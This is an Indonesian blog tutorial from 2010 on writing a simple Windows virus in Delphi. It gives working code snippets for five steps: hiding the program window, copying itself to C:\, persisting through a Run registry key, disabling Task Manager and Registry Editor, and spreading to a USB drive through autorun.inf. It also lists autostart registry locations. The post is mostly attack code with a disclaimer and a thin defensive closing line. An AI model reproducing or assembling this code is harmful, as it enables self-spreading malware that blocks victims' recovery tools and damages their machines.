Rabu, 06 Oktober 2010

Mari belajar membuat virus... :D

Topik ini mungkin sebenarnya udah basi, tapi kenyataanya masih banyak orang yang menghubungi aku untuk nanya-nanya soal programming virus. Karena itu, pada tutorial ini aku memutuskan untuk menjelaskan dasar-dasar pemrograman virus dengan Delphi. Tapi ingat, segala kerusakan dan kehilangan data karena artikel ini diluar tanggung jawabku sebagai penulis. OK ? Kalo setuju silakan lanjut.

Tingkat kerusakan yang ditimbulkan virus sangat bervariasi tergantung kreatifitas sang penulis virus. Hal-hal yang biasanya dilakukan oleh virus (terutama virus lokal) antara lain:

  • Menyembunyikan dirinya, artinya aplikasi akan berjalan tanpa sepengetahuan user
  • Meng-copy dirinya ke direktori sistem
  • Membuat dirinya otomatis dijalankan pada saat startup Windows
  • Mendisable fungsi-fungsi Windows tertentu seperti Task Manager, Registry Editor, dll
  • Men-copy dirinya ke media removable semacam flashdisk
  • Fungsi-fungsi lain seperti memunculkan pesan, menulis file tertentu, mengubah tulisan Start", dll.

Sekarang kita akan membahasnya satu-persatu. Peralatan yang dibutuhkan:

Yang udah pasti, Delphi
Kesabaran, ketelitian, mata yang sanggup memandang layar komputer berjam-jam
Album Yovie & Nuno dan segelas teh panas ;)

Attack #1 - Menyembunyikan diri

Kayaknya ini yang paling gampang deh, cukup ketikkan code berikut pada event form create:

Application.ShowMainForm := False;

Attack #2 - Men-copy diri ke sistem

Sebenarnya gak harus ke direktori sistem sih, ini kan cuma untuk contoh aja. Langsung aja kerikkan code ini:

CopyFile(PChar(Application.ExeName), 'C:\MyVirus.exe', False);

Attack #3 - Startup otomatis

Windows akan menjalankan program/script yang diletakkan pada:

  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows
  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
  • HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
  • C:\Documents and Settings\All Users\Start Menu\Programs\Startup
  • C:\Documents and Settings\[username]\Start Menu\Programs\Startup

Mo pilih yang mana ? Terserah. Untuk contoh kali ini, aku akan memilih registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Untuk itu, ketikkan code dbawah untuk mengakses registry dan membuat string value di path yg kusebutin diatas.

uses
Registry;

var
Reg : TRegistry;
begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('HKCU\Software\Microsoft\Windows\CurrentVersion\Run', True);
Reg.WriteString('MyVirus', 'C:\MyVirus.exe');
Reg.CloseKey;

Attack #4 - Disable tools bawaan Windows

Ada banyak tools bawaan Windows yang bisa dipakai untuk melawan malware, karena terlalu banyak, aku cuma akan menjelaskan gimana cara blokir Registry Editor dan Task Manager. Yang lainnya kembangkan sendiri yach...!

uses
Registry;

var
Reg : TRegistry;

begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System', True);
Reg.WriteInteger('DisableTaskMgr', 1); //disable Task Manager
Reg.WriteInteger('DisableRegistryTools', 1); //disable Registry Editor
Reg.CloseKey;

Attack #5 - Menyebarkan diri ke flashdisk

Kebanyakan virus menyebar karena flashdisk yang dicolokin ke komputer yang telah terinfeksi. Biasanya virus tsersebut tidak lupa untuk membuat file autorun.inf agar virus tersebut otomatis dieksekusi pas dicolokin ke koputer lain. Dan demi kesederhanaan agar mudah dipahami, aku hanya akan mencontohkan proses penyebaran ke drive G:\

var
Atr : TextFile;

begin
if FileExists('G:\autorun.inf')= False and
FileExists('G:\MyVirus.exe') = False then
begin
//virus belum men-copy dirinya, copy...
CopyFile(PChar(Application.ExeName), 'G:\MyVirus.exe', False);

//tulis file autorun.inf
AssignFile(Atr, 'G:\autorun.inf');
ReWrite(Atr);
WriteLn(Atr, '[autorun]');
WriteLn(Atr, 'open=MyVirus.exe');
CloseFile(Atr);
end;
end;

Akan lebih baik lagi kalo code diatas dieksekusi secara periodik oleh timer. Silakan kembangkan sendiri attack-attack lainnya seperti memunculkan pesan, menulis file-file aneh, dll. Semoga setelah melihat sekilas alur penyebaran virus kita jadi lebih tau trik-trik untuk melindungi komputer kita tanpa antivirus. Semoga bermanfaat.